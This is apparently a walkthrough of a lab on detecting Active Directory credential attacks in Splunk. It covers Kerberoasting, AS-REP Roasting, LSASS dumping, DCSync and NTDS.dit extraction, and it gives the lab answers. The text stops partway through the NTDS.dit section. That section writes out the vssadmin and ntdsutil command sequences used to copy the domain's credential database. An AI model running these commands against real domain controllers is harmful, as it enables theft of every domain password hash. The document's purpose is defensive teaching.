<pre><code class="language-shell">index=task2 EventCode=4769 Ticket_Encryption_Type=0x17 Service_Name!="*$" Service_Name!="krbtgt" | stats dc(Service_Name) as targeted_services count by Account_Name, Client_Address
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/626ea70a-4c55-4a0a-a300-31d3b14dcb73.png" alt="" style="display:block;margin:0 auto" />

<p>What source IP initiated the Kerberoasting? <code>10.5.90.1</code></p>
<h2>Detecting AS-REP Roasting</h2>
<p>Kerberoasting targets service accounts that have SPNs registered. AS-REP Roasting targets a different weakness entirely: user accounts with preauthentication disabled. It doesn't require SPNs, and unlike Kerberoasting, the attacker doesn't even need valid domain credentials to perform it. The underlying flaw is the same, though: the DC hands back encrypted material that the attacker can crack offline to recover the plaintext password. The difference is what triggers the DC to hand it over and what it's encrypted with.</p>
<p>Under normal Kerberos authentication, when a user requests a TGT (ticket-granting ticket), the domain controller requires them to prove they know their password first. The user encrypts a timestamp with their password hash and sends it along with the AS-REQ. The DC decrypts it, verifies the timestamp is recent, and only then issues the TGT. The DC logs Event 4768 (Kerberos TGT Request) with <code>Pre_Authentication_Type=2</code>, followed by Event 4769 when the user requests a service ticket, and Event 4624 when they log onto the target service. The diagram below shows this normal authentication flow:</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/2faac36f-c607-4dcf-a35f-ce48573de5a2.png" alt="" style="display:block;margin:0 auto" />

<p>Normal Kerberos authentication flow where the user proves their identity through preauthentication before receiving a TGT</p>
<p>On the other hand, when an account has the <code>DONT_REQUIRE_PREAUTH</code> flag enabled, the DC skips that verification step. It issues the TGT without first confirming the requester knows the password. The AS-REP that comes back is encrypted with the account's password hash, which means an attacker can take it offline and crack it to recover the plaintext password. An attacker doesn't even need a valid domain account. They only need to know the username of an account with preauthentication disabled. The diagram below shows how this attack bypasses the preauthentication step:</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/7b511ec3-5cae-4b58-ba97-da9997da6007.png" alt="" style="display:block;margin:0 auto" />

<p>This misconfiguration exists because some legacy applications, like older ERP or payroll systems, fail Kerberos authentication unless preauth is disabled for their service account. Admins might disable it to get the application working and then forget about it.</p>
<p>The key difference between AS-REP Roasting and the normal flow is that the attacker requests the TGT purely to extract the crackable hash. They never request a service ticket, and they never log onto anything. So the DC logs Event 4768 with <code>Pre_Authentication_Type=0</code>, but there is no 4769 and no 4624. The diagram below highlights this difference:</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773876215407" alt="Comparison of legitimate authentication producing follow-up events versus an AS-REP Roasting attack that produces none" style="display:block;margin:0 auto" />

<h2><strong>Walkthrough</strong></h2>
<p>Follow along in the Splunk instance, and use index=task3 for all queries in this task.</p>
<p>Let's start by looking at all TGT request events to see what normal traffic looks like:</p>
<pre><code class="language-shell">index=task3 EventCode=4768 
| table _time, Account_Name, Pre_Authentication_Type, Ticket_Encryption_Type, Client_Address 
| sort _time
</code></pre>
<p>The entry with Pre_Authentication_Type=0 and RC4 encryption (0x17) is the anomaly we're investigating. Let's isolate it:</p>
<pre><code class="language-shell">index=task3 EventCode=4768 Pre_Authentication_Type=0 
| table _time, Account_Name, Pre_Authentication_Type, Ticket_Encryption_Type, Client_Address
</code></pre>
<p>This returns the AS-REP Roasting attempt. The Pre_Authentication_Type=0 entry tells us this account has preauthentication disabled, and someone requested a TGT for it.</p>
<p>Now let's check whether this was followed by any authentication activity. If the same source generated any logon events (4624) or TGS requests (4769) for this account after the TGT request, it might be legitimate usage. If there's nothing, the attacker only wanted the hash.</p>
<p>Replace {ACCOUNT_NAME} with the account you identified from the previous results:</p>
<pre><code class="language-shell">index=task3 (EventCode=4624 OR EventCode=4769) | search Account_Name="{ACCOUNT_NAME}" | table _time, EventCode, Account_Name, Client_Address
</code></pre>
<p>The query returns zero results. That strongly suggests the TGT was requested for offline cracking rather than for normal service access, though it is not definitive by itself.</p>
<p>A legitimate application could still produce this pattern if it failed before requesting a service ticket, relied on a cached ticket, or otherwise did not complete the expected Kerberos flow. Even so, when the same event also shows <code>Pre_Authentication_Type=0</code> and RC4 encryption, the absence of follow-up activity makes malicious intent much more likely.</p>
<p>The BlackSuit ransomware group used AS-REP Roasting alongside Kerberoasting in the same intrusion <a href="https://thedfirreport.com/2024/08/26/blacksuit-ransomware/">documented by The DFIR Report(opens in new tab)</a>. They identified one account with preauthentication disabled and harvested its hash alongside the service account tickets, giving them multiple credential cracking opportunities from a single attack session.</p>
<h2><strong>Kerberoasting vs AS-REP Roasting</strong></h2>
<p>Now that we've investigated both attacks, the diagram below provides a quick reference for distinguishing them during triage:</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1774041813761" alt="Side-by-side comparison of Kerberoasting and AS-REP Roasting showing their different targets, event IDs, and detection signals" style="display:block;margin:0 auto" />

<p><strong>On the Splunk instance, investigate the AS-REP Roasting activity.</strong></p>
<h3>Answer the questions below</h3>
<p>Which account had preauthentication disabled? (Answer Format: username)</p>
<pre><code class="language-shell">index=task3 EventCode=4768 | table _time, Account_Name, Pre_Authentication_Type, Ticket_Encryption_Type, Client_Address | sort _time
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/c3a39537-b58c-4510-8c8b-f926a40d8b10.png" alt="" style="display:block;margin:0 auto" />

<h2>Detecting LSASS Credential Dumping</h2>
<p>So far, we've been working with Kerberos events on the domain controller to detect attacks that crack passwords offline. LSASS dumping is different. It's a direct credential theft technique that happens on the endpoint where the credentials are stored, and detecting it requires a completely different approach.</p>
<p>Attackers target LSASS (Local Security Authority Subsystem Service) because it stores credentials for every user who has authenticated to the machine. If a domain admin logged into a workstation earlier that day, their NTLM hash and Kerberos tickets are sitting in LSASS memory. An attacker who dumps LSASS on that machine gets those credentials immediately, no cracking required.</p>
<p>Let's think like an attacker. We've Kerberoasted some service accounts in the previous task, but none had domain admin privileges. <strong>So what would we do next?</strong></p>
<p>There are different approaches attackers can take, but one of them is finding a machine where a DA or any account with higher privileges has an active session. Dumping LSASS is the next escalation path.</p>
<h2><strong>What LSASS Stores</strong></h2>
<p>LSASS holds different types of credentials depending on the Windows version and configuration:</p>
<ul>
<li><p>NTLM password hashes for all authenticated users</p>
</li>
<li><p>Kerberos tickets (TGTs and TGS tickets) for active sessions</p>
</li>
<li><p>Plaintext passwords on systems where WDigest is enabled (Windows 8/Server 2012 and earlier by default, or any newer version where the <code>UseLogonCredential</code> registry value has been set to <code>1</code>)</p>
</li>
<li><p>Cached domain credentials for offline logon</p>
</li>
</ul>
<p>The diagram below shows the different credential types stored in LSASS memory:</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773992698644" alt="LSASS memory contents showing NTLM hashes, Kerberos tickets, cached credentials, and plaintext passwords" style="display:block;margin:0 auto" />

<p>If an attacker dumps LSASS, they can use NTLM hashes to crack them offline, use them in Pass-the-Hash attacks, or dump Kerberos tickets for Pass-the-Ticket attacks. These are lateral movement techniques with their own detection artifacts. For now, our focus is on detecting the dump itself. The diagram below illustrates the LSASS dumping attack flow:</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773992699919" alt="LSASS credential dumping attack flow from process access to credential extraction" style="display:block;margin:0 auto" />

<h2><strong>Detection With Sysmon Event 10</strong></h2>
<p>Sysmon Event 10 (ProcessAccess) fires when one process opens a handle to another process. When a tool like Mimikatz or ProcDump accesses <code>lsass.exe</code>, Sysmon records exactly which process did it, what level of access it requested, and the call stack that led to the access. For a deeper dive into LSASS access detection patterns, the Splunk Threat Research Team's article <a href="https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html">You Bet Your Lsass: Hunting LSASS Access(opens in new tab)</a> is an excellent resource.</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1771765214579" alt="" style="display:block;margin:0 auto" />

<p><strong>Warning:</strong> Sysmon Event 10 only logs process access when the Sysmon configuration includes explicit <code>ProcessAccess</code> rules targeting <code>lsass.exe</code>. The default Sysmon installation does NOT log these events. If your environment uses a minimal Sysmon config, LSASS dumping will be invisible to Sysmon.</p>
<p>Here are the fields we'll use for detection:</p>
<table>
<thead>
<tr>
<th><strong>Field</strong></th>
<th><strong>What It Contains</strong></th>
<th><strong>Why It Matters</strong></th>
</tr>
</thead>
<tbody><tr>
<td>SourceImage</td>
<td>Full path of the process accessing LSASS</td>
<td>Identifies the tool used for the dump</td>
</tr>
<tr>
<td>SourceUser</td>
<td>The user account running the source process</td>
<td>Identifies the compromised account. SYSTEM is expected; a domain user account is suspicious</td>
</tr>
<tr>
<td>TargetImage</td>
<td>Full path of the target process (lsass.exe)</td>
<td>Confirms LSASS was the target</td>
</tr>
<tr>
<td>GrantedAccess</td>
<td>Hex access mask showing requested permissions</td>
<td>Different tools request different access levels</td>
</tr>
<tr>
<td>CallTrace</td>
<td>DLL call stack leading to the access</td>
<td>Reveals the method used (MiniDump API, injection, etc.)</td>
</tr>
</tbody></table>
<h2><strong>Understanding the GrantedAccess Field</strong></h2>
<p>The <code>GrantedAccess</code> value is a hex bitmask built by adding together individual <a href="https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights">process access rights(opens in new tab)</a>. Understanding how these values are composed helps when you encounter an unfamiliar access mask in the field:</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/ba6979f2-af0a-4cf2-b0ff-efaf7cfe9d3b.png" alt="" style="display:block;margin:0 auto" />

<p>For example, 0x1010 = 0x1000 (PROCESS_QUERY_LIMITED_INFORMATION) + 0x0010 (PROCESS_VM_READ). The 0x0010 bit is what matters for credential dumping, because reading LSASS process memory is how credentials are extracted.</p>
<p>In practice, 0x1010 is associated with Mimikatz, and 0x1FFFFF (PROCESS_ALL_ACCESS) with ProcDump, comsvcs.dll, and Task Manager.</p>
<h2>Understanding the CallTrace Field</h2>
<p>The CallTrace field shows the chain of DLL calls that led to the LSASS access, and it can distinguish between different dump methods:</p>
<ul>
<li><p><strong>Known DLLs</strong> like <code>dbgcore.dll</code> and <code>dbghelp.dll</code>indicate the MiniDump API was used. This is how ProcDump and <code>comsvcs.dll</code> create memory dumps. It's a legitimate API being used for a malicious purpose.</p>
</li>
<li><p><strong>UNKNOWN memory offsets</strong> (addresses not mapped to any known DLL) indicate injected code. This is the signature of Cobalt Strike beacons, Meterpreter, and other in-memory implants that access LSASS from injected shellcode.</p>
</li>
</ul>
<p>To make this concrete, here's what each pattern looks like in a real CallTrace value:</p>
<p><strong>MiniDump-based (ProcDump/comsvcs.dll):</strong></p>
<pre><code class="language-powershell">C:\Windows\SYSTEM32\ntdll.dll+9D4C4|C:\Windows\System32\KERNELBASE.dll+2B16D|C:\Windows\System32\dbgcore.dll+A3C8|...
</code></pre>
<p><strong>Injection-based (e.g., Cobalt Strike):</strong></p>
<pre><code class="language-powershell">C:\Windows\SYSTEM32\ntdll.dll+9D4C4|UNKNOWN(0000025FA0120000)|UNKNOWN(0000025FA0124B30)|...
</code></pre>
<p>The diagram below provides a visual comparison of these two CallTrace patterns:</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1774041056093" alt="CallTrace comparison showing a MiniDump-based dump using known DLLs versus an injection-based dump with UNKNOWN memory offsets" style="display:block;margin:0 auto" />

<p>The distinction matters because it tells you what kind of attacker you're dealing with. A ProcDump-based dump suggests a hands-on-keyboard attacker using LOLBins (legitimate tools for malicious purposes). An injection-based dump suggests a more sophisticated implant.</p>
<h2><strong>What Normal Looks Like</strong></h2>
<p>Several legitimate processes access LSASS as part of normal Windows operations. Knowing these helps us filter noise:</p>
<table>
<thead>
<tr>
<th><strong>Full Process Path</strong></th>
<th><strong>Typical GrantedAccess</strong></th>
<th><strong>Why</strong></th>
</tr>
</thead>
<tbody><tr>
<td>C:\Windows\System32\csrss.exe</td>
<td>0x1000 or 0x1400</td>
<td>Windows subsystem, manages processes</td>
</tr>
<tr>
<td>C:\Windows\System32\WerFault.exe</td>
<td>0x1000</td>
<td>Windows Error Reporting crash handler</td>
</tr>
<tr>
<td>C:\Windows\System32\svchost.exe</td>
<td>0x1010</td>
<td>Various service functions (normal at this access level)</td>
</tr>
<tr>
<td>AV/EDR agent paths</td>
<td>Varies</td>
<td>Security products monitor LSASS for protection</td>
</tr>
</tbody></table>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1771765213861" alt="" style="display:block;margin:0 auto" />

<p><strong>Note</strong>: When filtering out legitimate processes during investigation, always match on the full path, not just the executable name. An attacker can name their tool <code>svchost.exe</code> and place it in <code>C:\Users\Public\</code> or <code>C:\Temp\</code>. The process name looks legitimate, but the path gives it away. The same logic applies to <code>csrss.exe</code>, <code>WerFault.exe</code>, and any other system process. If the <code>SourceImage</code> path isn't <code>C:\Windows\System32\</code>, treat it as suspicious regardless of the file name. This also means that access masks that are associated with credential dumping tools aren't automatically malicious. It all depends on context: which process is accessing LSASS, and why.</p>
<h2><strong>Walkthrough</strong></h2>
<p>Follow along in the Splunk instance, and use <code>index=task4</code> for all queries in this task.</p>
<p>Our investigation starts broad. Rather than jumping straight to known-bad access masks, we first want to see every process that accessed LSASS so we don't miss anything by filtering too early:</p>
<pre><code class="language-sql">index=task4 EventCode=10 TargetImage="*\\lsass.exe"
| stats count by SourceImage, GrantedAccess
</code></pre>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773876222932" alt="Splunk baseline showing all processes that accessed LSASS with their GrantedAccess values" style="display:block;margin:0 auto" />

<p>If we look at the results, we can see a mix of legitimate system processes and a suspicious entry. Once we identify the suspicious process, let's examine its CallTrace to understand the method used.</p>
<p>Replace <code>{SUSPICIOUS_PROCESS}</code> with the process you identified as suspicious in the previous step:</p>
<pre><code class="language-sql">index=task4 EventCode=10 TargetImage="*\\lsass.exe" SourceImage={SUSPICIOUS_PROCESS}
| table _time, SourceImage, SourceUser, GrantedAccess, CallTrace
</code></pre>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773876223667" alt="Splunk output showing the suspicious LSASS access event with SourceImage, GrantedAccess, and CallTrace details" style="display:block;margin:0 auto" />

<p>The <code>CallTrace</code> tells us whether this was a MiniDump-based dump (known DLLs like <code>dbgcore.dll</code>) or an injection-based dump (<code>UNKNOWN</code> offsets). This distinction matters for the investigation because it changes what you look for next.</p>
<p>The <code>SourceUser</code> field tells us which account was running the dump tool. If it's <code>NT AUTHORITY\SYSTEM</code>, the tool was executed with system-level privileges (possibly through a service or scheduled task). If it's a domain user account like <code>DOMAIN\jsmith</code>, that account is confirmed compromised and needs immediate investigation. Knowing the compromised account is a critical part of scoping the incident because it tells you which credentials, sessions, and systems that account had access to.</p>
<p>In the BlackSuit intrusion <a href="https://thedfirreport.com/2024/08/26/blacksuit-ransomware/">documented by The DFIR Report (August 2024)(opens in new tab)</a>, the attackers accessed LSASS through an injected <code>mstsc.exe</code> process with an access mask of <code>0x1010</code> and through <code>dllhost.exe</code> with <code>0x1FFFFF</code> in the <a href="https://thedfirreport.com/2025/03/31/fake-zoom-ends-in-blacksuit-ransomware/">March 2025 case(opens in new tab)</a>. Both processes had been injected with Cobalt Strike beacons, and the <code>CallTrace</code> contained <code>UNKNOWN</code> offsets rather than legitimate DLLs.</p>
<h2><strong>Other Credential Stores</strong></h2>
<p>LSASS is not the only credential store on a Windows machine, but it is the most valuable target for domain compromise:</p>
<ul>
<li><p>The <strong>SAM database</strong> (<code>C:\Windows\System32\config\SAM</code>) stores local account hashes only, not domain credentials. Attackers extract SAM hashes with tools like <code>reg save</code> or Mimikatz's <code>lsadump::sam</code>, but these only give access to local accounts on that specific machine.</p>
</li>
<li><p><strong>Cached domain credentials</strong> (stored in the registry under <code>SECURITY\Cache</code>) are DCC2 hashes that allow offline logon when the DC is unreachable. These are slow to crack (bcrypt-based) and can't be used for Pass-the-Hash, making them a lower-priority target.</p>
</li>
<li><p>The <strong>NTDS.dit</strong> database on domain controllers contains every account hash in the domain. Extracting it requires privileged access on the DC itself, which we cover in Task 6.</p>
</li>
</ul>
<p>LSASS is the primary target because it holds live domain credentials in a directly usable format. If an attacker dumps LSASS on a machine where a Domain Admin has an active session, they can immediately use those credentials for Pass-the-Hash or Pass-the-Ticket without any cracking.</p>
<p><strong>On the Splunk instance, investigate the LSASS access events.</strong></p>
<h3>Answer the questions below</h3>
<p>What is the full path of the process that accessed <code>lsass.exe</code>?</p>
<pre><code class="language-shell">index=task4 EventCode=10 TargetImage="*\lsass.exe" | stats count by SourceImage, GrantedAccess
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/cc8e9f69-eef0-451e-b392-ba2ea6faf1a5.png" alt="" style="display:block;margin:0 auto" />

<p>What <code>GrantedAccess</code> value was used? (Answer Format: 0xNNNNNN) <code>0x1FFFFF</code></p>
<p>Which DLL in the <code>CallTrace</code> reveals the dump method?</p>
<pre><code class="language-shell">index=task4 EventCode=10 TargetImage="*\lsass.exe" dll calltrace 0x1FFFFF
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/f5194a09-42f0-4916-8a7a-9d3ae7295b76.png" alt="" style="display:block;margin:0 auto" />

<h2>Detecting DCSync</h2>
<p>At this point in the attack chain, imagine the attacker has Domain Admin credentials. Maybe they cracked a Kerberoasted service account that happened to be a Domain Admin, or they dumped LSASS on a machine where a Domain Admin had an active session. Either way, they now have the highest level of access in the domain. The question is what they do with it.</p>
<p>Attackers target DCSync because it lets them extract every password hash in the domain without touching the domain controller's disk, without creating volume shadow copies, and without needing physical access to the DC. It works by abusing the Active Directory replication protocol (DRSUAPI), the same protocol that legitimate domain controllers use to synchronize directory data with each other. The attacker's machine pretends to be a domain controller and requests password data via DRSUAPI. If their account has the right permissions, the real DC complies. Domain Admins, Enterprise Admins, and DC machine accounts have these replication rights by default.</p>
<p>In some environments, attackers can also obtain replication rights through ACL abuse (WriteDACL on the domain object) without ever joining the Domain Admins group.</p>
<h2><strong>How DCSync Works</strong></h2>
<p>Active Directory replication is built on a set of extended rights that control who can request directory data. Three specific GUIDs are relevant:</p>
<ul>
<li><p><code>{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}</code> is DS-Replication-Get-Changes-All</p>
</li>
<li><p><code>{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}</code> is DS-Replication-Get-Changes</p>
</li>
<li><p><code>{89e95b76-444d-4c62-991a-0facbeda640c}</code> is DS-Replication-Get-Changes-In-Filtered-Set</p>
</li>
</ul>
<p>The one that matters most is <code>1131f6ad</code>, which is DS-Replication-Get-Changes-All. This is the permission that allows pulling password data, and it's the primary indicator of DCSync.</p>
<h2><strong>Detection with Event 4662</strong></h2>
<p>DCSync detection uses Event 4662 (An operation was performed on an object), which is part of Directory Service Access auditing. When someone exercises the replication extended rights on the domain partition, Event 4662 fires with the replication GUID embedded in the raw event data.</p>
<table>
<thead>
<tr>
<th><strong>Field</strong></th>
<th><strong>What It Contains</strong></th>
<th><strong>Why It Matters</strong></th>
</tr>
</thead>
<tbody><tr>
<td>user</td>
<td>The account performing the replication</td>
<td>Identifies who is running DCSync</td>
</tr>
<tr>
<td>Access_Mask</td>
<td>0x100 (Control Access)</td>
<td>Indicates an extended right was exercised</td>
</tr>
<tr>
<td>Properties</td>
<td>Shows "Control Access" (GUIDs in raw event)</td>
<td>The replication GUIDs confirm DCSync</td>
</tr>
<tr>
<td>Logon_ID</td>
<td>Hex session identifier</td>
<td>Links to 4624 logon event for source IP correlation</td>
</tr>
</tbody></table>
<p>The detection signal is an Event 4662 with <code>Access_Mask=0x100</code>, the replication GUIDs present in the raw event data, and a <code>user</code> that isn't a machine account (doesn't end in <code>$</code>).</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1771765214579" alt="" style="display:block;margin:0 auto" />

<p><strong>Warning:</strong> Event 4662 for DCSync detection requires TWO things to be configured in advance: (1) "Audit Directory Service Access" must be enabled via Group Policy, and (2) a SACL (System Access Control List) must be set on the domain partition to audit replication operations. Neither is enabled by default. Without both of these, DCSync is completely invisible in the logs. This is one of the most common detection gaps in real environments, and it's worth verifying in any network you're responsible for.</p>
<h2><strong>Normal vs Suspicious Replication</strong></h2>
<p>In a production environment with multiple domain controllers, Event 4662 events with replication GUIDs are completely normal. Domain controllers replicate constantly. The distinction between normal and malicious is the source, as shown in the diagram below:</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1774041815177" alt="Normal domain controller replication compared to a DCSync attack where a non-DC machine requests password data" style="display:block;margin:0 auto" />

<table>
<thead>
<tr>
<th><strong>Pattern</strong></th>
<th><strong>Normal</strong></th>
<th><strong>Suspicious</strong></th>
</tr>
</thead>
<tbody><tr>
<td>user</td>
<td>Machine account ending in \( (e.g., THM-DC\))</td>
<td>Human user account (not ending in $)</td>
</tr>
<tr>
<td>Source host</td>
<td>Another domain controller</td>
<td>A workstation or non-DC server</td>
</tr>
<tr>
<td>Frequency</td>
<td>Regular intervals matching replication schedule</td>
<td>One-time or burst of requests</td>
</tr>
<tr>
<td>Scope</td>
<td>Specific partition changes</td>
<td>Requesting all credentials (-just-dc-ntlm or full dump)</td>
</tr>
</tbody></table>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1771765213861" alt="" style="display:block;margin:0 auto" />

<p><strong>Important note</strong>: Our lab environment has a single domain controller, so you won't see legitimate DC-to-DC replication traffic. In a production environment with multiple DCs, the <code>user!="*$"</code> filter is what separates normal replication from DCSync attacks.</p>
<h2><strong>Walkthrough</strong></h2>
<p>Follow along in the Splunk instance, and use <code>index=task5</code> for all queries in this task.</p>
<p>With the normal replication patterns from the table above as our baseline, we can filter for the anomaly: a non-machine account exercising replication rights.</p>
<p>The <code>1131f6ad</code> GUID (DS-Replication-Get-Changes-All) is the permission that allows pulling password data, and filtering out machine accounts (<code>user!="*$"</code>) isolates any human user performing replication:</p>
<pre><code class="language-sql">index=task5 EventCode=4662 "1131f6ad" user!="*$"
| table _time, user, Access_Mask, Properties
| sort _time
</code></pre>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773876225531" alt="Splunk output showing the DCSync Event 4662 with the compromised account and replication properties" style="display:block;margin:0 auto" />

<p>This query returned results, which means there's a non-machine account performing AD replication. The <code>user</code> field tells us which account was used, and the <code>Properties</code> field confirms this was a Control Access operation. The replication GUID <code>1131f6ad</code> that we filtered for is embedded in the raw event data, which is why we search for it as a keyword rather than a field filter.</p>
<p>If you click on the event to expand it, you'll see the full GUID <code>{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}</code> in the raw log details under the Properties section. Splunk's field extraction parses this as "Control Access" (the access type) but doesn't extract the individual GUIDs into separate fields. That's why our query uses <code>"1131f6ad"</code> as a keyword search against the raw event text rather than filtering on the <code>Properties</code> field directly.</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773876659185" alt="Expanded Splunk event showing the raw log details with the replication GUID 1131f6ad highlighted under the Properties section" style="display:block;margin:0 auto" />

<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1771765214579" alt="" style="display:block;margin:0 auto" />

<p><strong>Warning:</strong> The <code>user!="*\("</code> filter assumes attackers use human accounts for DCSync. In practice, adversaries who compromise machine account hashes (through ADCS abuse, unconstrained delegation, or other exploits) can perform DCSync from a machine account. In those cases, the <code>\)</code> filter would hide the attack. For mature environments, consider monitoring ALL accounts performing replication and baselining which machine accounts normally replicate.</p>
<h2><strong>Getting the Source IP</strong></h2>
<p>Event 4662 doesn't contain a source IP field directly. To find where the DCSync originated, we correlate the <code>Logon_ID</code> from the 4662 event with a 4624 (logon) event for the same session, which contains the <code>Source_Network_Address</code> field. The diagram below illustrates this correlation:</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773876226135" alt="Logon ID correlation technique: pivoting from Event 4662 to Event 4624 using the shared Logon_ID to find the source IP" style="display:block;margin:0 auto" />

<p>Replace {COMPROMISED_USER} with the account you identified from the previous query:</p>
<pre><code class="language-shell">index=task5 EventCode=4662 Access_Mask=0x100 user={COMPROMISED_USER} "1131f6ad" 
| table _time, host, user, Logon_ID
</code></pre>
<p>Replace {LOGON_ID} with the Logon_ID value from the results above:</p>
<pre><code class="language-shell">index=task5 EventCode=4624 Logon_ID={LOGON_ID} 
| table _time, host, user, Source_Network_Address, Logon_Type
</code></pre>
<p>This gives us the source IP and confirms the logon type.</p>
<p>During the SolarWinds compromise attributed to APT29(opens in new tab), incident responders documented that the threat actor used privileged accounts to replicate directory service data, confirming DCSync as part of the intrusion. Scattered Spider(opens in new tab) also uses DCSync as a standard part of their credential access playbook, relying on tools like Mimikatz and secretsdump.py once they have obtained domain admin credentials.</p>
<p><strong>On the Splunk instance, investigate the DCSync activity.</strong></p>
<h3>Answer the questions below</h3>
<p>What account performed the DCSync?</p>
<pre><code class="language-shell">index=task5 EventCode=4662 "1131f6ad" user!="*$" 
| table _time, user, Access_Mask, Properties 
| sort _time
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/f61bc8c1-0fd7-478c-976d-180a7c5045b6.png" alt="" style="display:block;margin:0 auto" />

<p>What is the Logon_ID of the DCSync session? (Answer Format: 0xNNNNNNN)</p>
<pre><code class="language-shell">index=task5 EventCode=4662 "1131f6ad" user!="*$" 0x100
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/a56590e4-e769-4160-a63e-69b8d2a04714.png" alt="" style="display:block;margin:0 auto" />

<p>What source IP initiated the DCSync?</p>
<pre><code class="language-shell">index=task5 0x5A01668 10.
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/c03f05f4-3059-4df4-8ad3-f3047daa4364.png" alt="" style="display:block;margin:0 auto" />

<h2>Detecting NTDS.dit Extraction</h2>
<p>DCSync works remotely and blends in with replication traffic. But it's not the only way attackers extract credentials from Active Directory. Before DCSync became the standard, attackers copied the <code>NTDS.dit</code> file directly from the domain controller. This older approach is noisier, but it's still actively used in real intrusions.</p>
<h2><strong>How NTDS.dit Extraction Works</strong></h2>
<p>The <code>NTDS.dit</code> file is the Active Directory database stored on every domain controller (typically at <code>C:\Windows\NTDS\ntds.dit</code>). It contains password hashes for every account in the domain. The problem for attackers is that Windows locks this file while AD DS is running, so it can't be copied directly. Attackers use two main workarounds:</p>
<p><strong>Volume Shadow Copy (vssadmin):</strong> Creates a point-in-time snapshot of the filesystem, bypassing the file lock. The attacker creates a shadow copy, copies <code>ntds.dit</code> and the <code>SYSTEM</code> registry hive (needed to decrypt the hashes) from the snapshot, then deletes the shadow copy.</p>
<p>Typical command sequence:</p>
<pre><code class="language-powershell">C:\Windows\System32&gt; vssadmin create shadow /for=C:
C:\Windows\System32&gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
C:\Windows\System32&gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
C:\Windows\System32&gt; vssadmin delete shadows /shadow={shadow-id} /quiet
</code></pre>
<p><strong>Install From Media / ntdsutil:</strong> A legitimate AD management tool designed for domain controller promotion. Attackers abuse the IFM (Install From Media) feature to produce a clean copy of <code>ntds.dit</code> and the <code>SYSTEM</code> hive, saving them to a local directory.</p>
<p>Typical command:</p>
<pre><code class="language-powershell">C:\Windows\System32&gt; ntdsutil "ac i ntds" "ifm" "create full C:\temp" q q
</code></pre>
<p>Both methods require privileged access on the domain controller. <code>vssadmin</code> needs local admin rights, while <code>ntdsutil</code> requires Domain Admin or equivalent AD DS permissions. Both produce the same result: an offline copy of the AD database that can be parsed with tools like <a href="http://secretsdump.py"><code>secretsdump.py</code></a> or <code>NTDSDumpEx</code> to extract all password hashes. The diagram below shows both extraction paths:</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1774023810286" alt="Two NTDS.dit extraction methods: vssadmin shadow copy and ntdsutil IFM, both producing an offline copy of the AD database" style="display:block;margin:0 auto" />

<h2><strong>Detecting NTDS.dit Extraction</strong></h2>
<p>NTDS.dit extraction is detected through process creation events. We're looking for <code>vssadmin.exe</code> or <code>ntdsutil.exe</code> being executed on a domain controller with command-line arguments related to shadow copies or IFM.</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1771765213861" alt="" style="display:block;margin:0 auto" />

<p><strong>Note:</strong> If Sysmon isn't deployed on your domain controllers, Windows Security Event 4688 (Process Creation) with command-line logging enabled provides the same process and command-line visibility. The queries in this walkthrough use Sysmon Event 1, but the detection logic applies to 4688 as well.</p>
<p><strong>Sysmon Event 1 (Process Creation)</strong> captures the full command line. The detection signals are:</p>
<ul>
<li><p><code>ntdsutil.exe</code> with a command line containing <code>ifm</code> and <code>create</code></p>
</li>
